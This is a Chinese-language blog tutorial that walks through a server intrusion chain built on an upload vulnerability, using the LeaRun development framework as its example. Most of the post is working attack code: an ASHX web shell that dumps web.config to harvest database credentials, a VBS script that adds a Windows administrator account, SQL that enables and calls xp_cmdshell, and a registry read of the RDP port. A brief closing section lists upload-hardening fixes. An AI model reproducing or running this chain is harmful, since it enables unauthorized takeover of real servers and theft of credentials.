笔者小学文化,语言组织能力差,写的不通的地方请大家将就着看,不喜勿喷。
上篇我讲了如何在上传文件中入侵服务器,這次我们稍微多讲一点。
还是先讲下流程:
1、上传代码页面 我上传的是ashx页面。
2、用ashx页面已文本形式显示web.Config的内容 得到数据库连接,
3、用ashx在网站根目录输出vbs脚本(创建Windows账户脚本)
4、开启数据库的xp_cmdshell。
5、利用数据库执行在网站根目录输出vbs脚本。入侵就完成了
ashx代码文件如下
/// <summary> /// 显示配置文件 /// </summary> /// <param name="context"></param> public void ShowWebConfig(HttpContext context) { context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); } /// <summary> /// 写vbs脚本 /// </summary> /// <param name="context"></param> public void WriteVbs(HttpContext context) { System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\")\r\nos=\"WinNT://\"&wsnetwork.ComputerName\r\nSet ob=GetObject(os) ‘得到adsi接口,绑定\r\nSet oe=GetObject(os&\"/Administrators,group\") ‘属性,admin组\r\nSet od=ob.Create(\"user\",\"test\") ‘建立用户\r\nod.SetPassword \"1234\" ‘设置密码\r\nod.SetInfo ‘保存\r\nSet of=GetObject(os&\"/test\",user) ‘得到用户\r\noe.add os&\"/freeast\" \r\n"); } /// <summary> /// 直线数据库 /// </summary> /// <param name="connection"></param> /// <param name="sql"></param> public void ExecuteSql(string connection, string sql) { using (SqlConnection con = new SqlConnection(connection)) { using (SqlCommand commd = new SqlCommand(sql, con)) { con.Open(); commd.ExecuteNonQuery(); con.Close(); } } } /// <summary> /// 直线数据库并输出表格 /// </summary> /// <param name="context"></param> /// <param name="connection"></param> /// <param name="sql"></param> public void ExecuteSql1(HttpContext context,string connection, string sql) { System.Data.DataTable table = new System.Data.DataTable(); using (SqlConnection con = new SqlConnection(connection)) { using (SqlCommand commd = new SqlCommand(sql, con)) { con.Open(); using (SqlDataAdapter ad = new SqlDataAdapter(commd)) { ad.Fill(table); } con.Close(); } } foreach (System.Data.DataRow row in table.Rows) { foreach (System.Data.DataColumn column in table.Columns) { context.Response.Write(row[column]); context.Response.Write("\t"); } context.Response.Write("\r\n"); } } /// <summary> /// 显示远程桌面端口 /// </summary> /// <param name="context"></param> private void ShowPort(HttpContext context) { context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp").GetValue("PortNumber").ToString()); } public void ProcessRequest(HttpContext context) { context.Response.ContentType = "text/plain"; try { var connection = context.Request.QueryString["connection"]; switch (context.Request.QueryString["method"]) { case "1": WriteVbs(context); break; case "2": ExecuteSql(connection,@"sp_configure ‘show advanced options‘,1 reconfigure"); ExecuteSql(connection,@"sp_configure ‘xp_cmdshell‘,1 reconfigure");//开启数据库的xp_cmdshell break; case "3": ExecuteSql1(context, connection, "exec master..xp_cmdshell ‘cscript " + context.Request.MapPath("~/1.vbs") + "‘"); break; case "4": ShowPort(context); break; default: ShowWebConfig(context); break; } } catch (Exception ex) { context.Response.Write(ex.Message); } context.Response.End(); } public bool IsReusable { get { return false; } }
這里我们以 "LeaRun.信息化快速开发框架"的在线按钮为例
上传文件我就不说了,上篇有人在问我怎么显示web.Config的内容,我这里具体贴下代码 其实很简单,File.ReadAllText web.config文件就可以了
public void ShowWebConfig(HttpContext context) { context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); }
运行后直线ashx 得到数据库连接,如图
其次就是创建Windows账户的脚本
set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) ‘得到adsi接口,绑定 Set oe=GetObject(os&"/Administrators,group") ‘属性,admin组 Set od=ob.Create("user","test") ‘建立用户 od.SetPassword "1234" ‘设置密码 od.SetInfo ‘保存 Set of=GetObject(os&"/test",user) ‘得到用户 oe.add os&"/freeast"
然后开启数据库的xp_cmdshell。
sp_configure ‘show advanced options‘,1 reconfigure Go sp_configure ‘xp_cmdshell‘,1 reconfigure
在最后执行vbs脚本
exec master..xp_cmdshell ‘cscript 脚本文件目录"‘
运行结果如下:
好 这说明直线成功了。。。。 也就是服务器用户添加成功了
现在要开始远程桌面了,于是个端口扫描工具发现3389是关的,于是断定肯定是修改了端口后,于是就加了个代码,让程序去读取远程桌面端口,
代码如下:
/// <summary> /// 显示远程桌面端口 /// </summary> /// <param name="context"></param> private void ShowPort(HttpContext context) { context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp").GetValue("PortNumber").ToString()); }
好了 到這里 一切的完成了 ,打开远程桌面连接吧。。
因为此次公开还没来得及通知 事主 于是自己帮事主把这个漏洞补上了后才发出来的,所以你们也不要去试了 -.-!!!!
然后我在来说说补救的方法,我就简单介绍几种了
1、将上传的文件放到网站外,也就是说 让iit读取不到(但记得分配权限) ,如:假如我网站放在 d:\\Web\Oa\ 这个是我网站的跟目录,那么我上传的文件 可以放到 d:\File\OA 里面,别人就不能直接访问
2、就是在上传文件的目录下新建立个web.config 把所有请求都拒绝,(C#是可以读取的,只是需要用Response.WriteFile 输出)
3、全部压缩
。。。。。。。。。。。。。。。。
好了 ,大家抓紧把之前的项目整理一遍吧,把能补的补上。。。。 千万别用這些漏洞去做坏事哦 ,。。。 那样你会被请去喝茶的。。。。-.-!!!!!